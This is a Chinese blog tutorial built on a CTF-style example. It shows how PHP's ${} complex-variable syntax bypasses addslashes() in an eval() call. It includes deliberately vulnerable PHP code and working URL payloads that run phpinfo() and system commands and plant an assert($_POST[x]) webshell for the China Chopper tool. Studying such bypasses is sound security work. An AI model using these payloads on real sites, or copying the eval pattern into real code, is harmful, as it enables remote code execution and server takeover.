Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PHP复杂变量绕过addslashes()直接拿shell

PHP复杂变量绕过addslashes()直接拿shell

原创
作者头像
V站CEO-西顾
发布于 2018-06-16 12:46:18
发布于 2018-06-16 12:46:18
5.3K00
代码可运行
举报
文章被收录于专栏:V站V站
运行总次数:0
代码可运行

V站笔记

0x00 示例ctf.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    @$_str = $_GET['str'];
    //print_r($_str);
    $_temp = '$str="'.addslashes($_str).'";';
    @print_r($_temp);
    @eval('$str="'.addslashes($_str).'";');
?>

0x01 绕过执行代码

访问链接如下: http://www.test.com/ctf.php?str=${phpinfo()}


0x02 原理分析

涉及到php复杂变量相关的知识,找了网上的很多博客,居然相关资料很少…

  • eval()函数函数的作用如下: eval() 函数把字符串按照 PHP 代码来计算。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
  • 双引号作用 之前的一篇文章《PHP中的单双引号区别》(https://blog.dyboy.cn/program/12.html) 有讲 在eval()函数内部作为php代码执行,这里就可以解析双引号中的变量
  • PHP复杂变量 {}不能被转义,其包裹的部分可当作变量 小东人工翻译一下就是${phpinfo()}和{${phpindo()}}是一样的,花括号{}只是用于区别变量边界的标识符

0x03 Getshell

那么有了eval()该如何执行任意代码呐? 简单尝试: http://www.test.com/ctf.php?str=${${system(ipconfig)}}

构造我们的小马,便于连接菜刀: http://www.test.com/ctf.php?str=${${assert($_GET[x])}}&x=phpinfo() 这里为了便于浏览,我改成了GET型参数,菜刀链接网址如下: http://www.test.com/ctf.php?str=${${assert($_POST[x])}} 密码:x 成功拿到shell


0x04 总结

成功学习了一波,同时可以出去吹水了,addslashes()在编码UTF-8时,也是可能绕过的~

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
php源码审计_静态代码审计
1、安装相关软件,如Sublime text、 Notepad++、editplus、 Seay源代码审计系统等
全栈程序员站长
2022/11/09
10K0
php源码审计_静态代码审计
PHP代码审计笔记
http://blog.evalbug.com/2015/11/10/different_arrays_compare_indentical_due_to_integer_key_truncation/
用户5878089
2019/07/23
1.3K0
吃透一文总结,轻松入门代码审计!
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
网络安全自修室
2023/12/15
5670
吃透一文总结,轻松入门代码审计!
代码审计入门总结
0x00 简介 ---- 之前看了seay写的PHP代码审计的书,全部浏览了一遍,作为一个代码审计小白,希望向一些和我一样的小白的人提供一下我的收获,以及一个整体的框架和常见漏洞函数。这也算是这本书的一个学习笔记吧,可以结合我捋顺的思路来看这本书。: ) 0x01 整体 ---- 学习代码审计的目标是能够独立完成对一个CMS的代码安全监测。其通用的思路有: 通读全文代码,从功能函数代码开始阅读,例如include文件夹下的common_fun.php,或者有类似关键字的文件。 看配置文件,带有config关
用户1467662
2018/03/30
1.5K0
代码审计入门总结
PHP一些常见的漏洞梳理
以下主要是近期对php一些常见漏洞的梳理,包含php文件包含、php反序列化漏洞以及php伪协议。其中 :
天钧
2020/09/14
4.7K0
PHP一些常见的漏洞梳理
复杂变量测试php7.1.20可能存在的漏洞
近期有小伙伴问了我一道题,然后自己发掘到了一些关于 PHP 复杂变量不太被关注的问题。
随心助手
2019/10/15
8630
复杂变量测试php7.1.20可能存在的漏洞
php弱类型花式绕过大全_协同过滤推荐算法代码
assert()会检查指定的assertion并在结果为false时采取适当的行动。在PHP5或PHP7中,如果assertion是字符串,它将会被assert()当做PHP代码来执行。
全栈程序员站长
2022/11/09
3.4K0
php弱类型花式绕过大全_协同过滤推荐算法代码
实战技巧 | 知其代码方可审计
终于来到了代码审计篇章。希望看了朋友有所收获,我们通常把代码审计分为黑盒和白盒,我们一般结合起来用。
辞令
2020/09/17
1.7K0
实战技巧 | 知其代码方可审计
php://协议深入理解
今天晚上,听了漏洞银行的大咖公开课讲的内网渗透,感觉和大咖之间还有不少差距,不过搞到了一波工具,心里依然美滋滋~
V站CEO-西顾
2018/06/16
2.7K1
webshell变形记之一
虽然进行了变形,但是还是被检测出来了4级,这个变形也是比较鸡肋,所以可以配合其他的php函数进行变形
vFREE
2022/08/08
1.1K0
超详细讲解命令执行漏洞
命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一
网络安全自修室
2022/09/01
6.2K0
超详细讲解命令执行漏洞
学会代码执行函数,让老哥带你勇闯天涯!
最近研究PHP的一些危险函数,先写下代码执行函数的归纳,主要是参考自官方手册的解读,并附上了一些dogBypass的一句话,为什么是dog呢?因为在我看来dog比较适合练手,所以本篇所有bypass仅适用dog(事实是因为时间有限 没有研究其他防护软件~),其他的防护需要自行测试,大家如果有其他代码执行函数也可提出,一起讨论交流。 本次将分为两篇进行讲解: 本篇涉及函数:eval()、assert()、preg_repace()、create_function()、array_map() 下篇涉及函数:ca
漏斗社区
2018/03/28
1.2K0
学会代码执行函数,让老哥带你勇闯天涯!
《代码审计》一点儿笔记
file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file()
LoRexxar
2023/02/20
4470
RCE的Bypass与骚姿势总结
前言:关于RCE的Bypass,我们应该从哪些角度开展呢。要知道怎么绕过,我们就得知道防火墙的过滤规则才行。那我们想想,在利用RCE漏洞的时候,我们当然想用cat、chmod、whoami、ifconfig、ls等这些操作对不对!像这些敏感命令,防火墙就会进行过滤。还有特殊字符如单引、双引、空格等等,防火墙同样会进行过滤。那我们现在知道那该死的防火墙不让我们输入那些敏感字符了,我们就要想办法找一些可以代替这些敏感字符且又能表达其字符的意思的东西对吧?所以我们进入主题!
天钧
2020/03/16
3.8K0
RCE的Bypass与骚姿势总结
PHP反序列化漏洞
  在反序列化的过程中自动触发了某些魔术方法。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致XSS、代码执行、文件写入、文件读取等不可控后果。
LuckySec
2022/11/02
6120
PHP反序列化漏洞
Bugku Web 部分WP
1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://12
wywwzjj
2023/05/09
6130
PHP SECURITY CALENDAR Writeup
这是文件上传中常用的一个函数,文件被上传结束后,默认地被存储在了临时目录中,这时必须将它从临时目录中移动到其它地方,因为脚本执行完后,临时目录里的文件会被删除。所以要在删除之前用 PHP 的 copy() 或者 move_upload_file() 函数将它复制或者移动到其它位置,到此,才算完成了上传文件过程。
wywwzjj
2023/05/09
2.2K0
PHP SECURITY CALENDAR Writeup
PHP常见函数和过滤函数的深入探究
32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
V站CEO-西顾
2018/06/25
3K3
php addslashes() 函数
实例 在每个双引号(")前添加反斜杠: <?php $str = addslashes('ggg is the "dada" city in China.'); echo($str); ?> add
达达前端
2022/04/29
1.5K0
PHP编程注意事项
其实仔细推敲后运行的,结果是notice:Undefined index 2..
黄规速
2022/04/14
2.7K0
相关推荐
php源码审计_静态代码审计
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验